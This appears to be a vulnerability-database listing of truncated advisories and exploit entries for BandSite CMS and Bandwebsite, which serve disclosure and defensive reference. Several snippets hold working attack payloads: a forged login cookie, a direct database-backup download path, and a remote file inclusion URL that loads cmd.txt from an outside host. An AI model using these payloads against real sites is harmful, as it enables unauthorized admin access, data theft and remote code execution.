CVE-2008-5338

CVE-2008-5338 is an XSS vulnerability in Bandwebsite (Bandsite portal system) 1.5, exploitable via info.php by passing a crafted section parameter to inject arbitrary script/HTML. The affected component is info.php; root cause is reflected XSS in the section parameter. Reported impact per sources...

BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability

No description provided by source. + BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability + Discovered By Mountassif Moad + www.v4-team.com + Greetz : All my Freind Exploit: javascript:document.cookie = "loginauth=true; path=/";...

bandsite-insecure.txt

BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability + Discovered By Mountassif Moad + www.v4-team.com + Greetz : All my Freind Exploit: javascript:document.cookie = "loginauth=true; path=/";...

BandSite CMS 1.1.4 - Insecure Cookie Handling

BandSite CMS 1.1.4 - Insecure Cookie Handling + BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability + Discovered By Mountassif Moad + www.v4-team.com + Greetz : All my Freind Exploit: javascript:document.cookie = "loginauth=true; path=/"; milw0rm.com 2008-11-13...

BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability

Exploit for unknown platform in category web applications ========================================================= BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability ========================================================= + BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability +...

BandSite CMS 1.1.4 - Insecure Cookie Handling

BandSite CMS 1.1.4 Insecure Cookie Handling Vulnerability + Discovered By Mountassif Moad + www.v4-team.com + Greetz : All my Freind Exploit: javascript:document.cookie = "loginauth=true; path=/"; milw0rm.com 2008-11-13...

bandsitecms-xss.txt

BandSite CMS 1.1.4 Arbitrary Download Database/XSS/CSRF + Discovered By SirGod + www.mortal-team.org + Greetz : E.M.I.N.E.M,Ras,Puscasmarin,ToxicBlood,MesSiAH,xZu,HrN + Arbitrary Download Database Go to http://localhost/Path/adminpanel/phpmydump.php and the download will begin database.sql . +...

BandSite CMS 1.1.4 (Download Backup/XSS/CSRF) Remote Vulnerabilities

No description provided by source. + BandSite CMS 1.1.4 Arbitrary Download Database/XSS/CSRF + Discovered By SirGod + www.mortal-team.org + Greetz : E.M.I.N.E.M,Ras,Puscasmarin,ToxicBlood,MesSiAH,xZu,HrN + Arbitrary Download Database Go to http://localhost/Path/adminpanel/phpmydump.php and the...

BandSite CMS 1.1.4 - Download Backup / Cross-Site Scripting / Cross-Site Request Forgery

BandSite CMS 1.1.4 Arbitrary Download Database/XSS/CSRF + Discovered By SirGod + www.mortal-team.org + Greetz : E.M.I.N.E.M,Ras,Puscasmarin,ToxicBlood,MesSiAH,xZu,HrN + Arbitrary Download Database Go to http://localhost/Path/adminpanel/phpmydump.php and the download will begin database.sql . +...

BandSite CMS 1.1.4 (Download Backup/XSS/CSRF) Remote Vulnerabilities

Exploit for unknown platform in category web applications ==================================================================== BandSite CMS 1.1.4 Download Backup/XSS/CSRF Remote Vulnerabilities ==================================================================== + BandSite CMS 1.1.4 Arbitrary...

BandSite CMS 1.1.4 - Download Backup Cross-Site Scripting Cross-Site Request Forgery

BandSite CMS 1.1.4 - Download Backup Cross-Site Scripting Cross-Site Request Forgery + BandSite CMS 1.1.4 Arbitrary Download Database/XSS/CSRF + Discovered By SirGod + www.mortal-team.org + Greetz : E.M.I.N.E.M,Ras,Puscasmarin,ToxicBlood,MesSiAH,xZu,HrN + Arbitrary Download Database Go to...

CVE-2006-6722

CVE-2006-6722 affects Bandwebsite (Bandsite portal system) 1.5. Remote attackers can create administrative accounts by issuing a direct request to admin.php with the Login parameter set to 1. This is a network‑level issue with low attack complexity and no authentication required, allowing partial...

Bandwebsite <= 1.5 (Login) Remote Add Admin Exploit

Exploit for unknown platform in category web applications =================================================== Bandwebsite Name: Pass: 0day.today 2018-03-28...

Bandwebsite 1.5 - LOGIN Remote Add Admin

Bandwebsite 1.5 - LOGIN Remote Add Admin Name: Pass: milw0rm.com 2006-12-16...

Bandsite portal system Admin Added Access

!-- - Product : Bandsite portal system - Website : http://membres.lycos.fr/fluxx/bandwebsite.php - Author : H0tTurk- WebSiteVersion:1.x - Problem : Admin Added Access. Bandsite is an online portal system designed for Bands. Features: themes support, news posting, audio sections, guestbook, tour...

Bandwebsite 1.5 - 'LOGIN' Remote Add Admin

Name: Pass: milw0rm.com 2006-12-16...

GrayscaleBandSite.txt

Hello,, Grayscale BandSite CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Romote Include includes/content/contactcontent.php?GLOBALSrootpath=http://psevil.googlepages.com/cmd.txt...

CVE-2006-4984

Multiple PHP remote file inclusion vulnerabilities in Grayscale BandSite CMS allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALSrootpath parameter in 1 adminpanel/includes/mailinglist/mlistxls.php and 2 adminpanel/includes/addforms/addmp3.php. NOTE: the other vectors fro...

CVE-2006-4986

Grayscale BandSite CMS allows remote attackers to obtain sensitive information via a direct request for 1 certain files in the includes/content directory, 2 includes/showspreview.php, and 3 adminpanel/configform.php; and files in adminpanel/includes/ including 4 mailinglist/disphtmltbl.php, 5...

CVE-2006-4985

Multiple cross-site scripting XSS vulnerabilities in Grayscale BandSite CMS allow remote attackers to inject arbitrary web script or HTML via 1 the maxfilesizepurdy parameter in adminpanel/includes/helpfiles/helpmp3.php, 2 the messagetext parameter in adminpanel/includes/mailinglist/sendemail.php...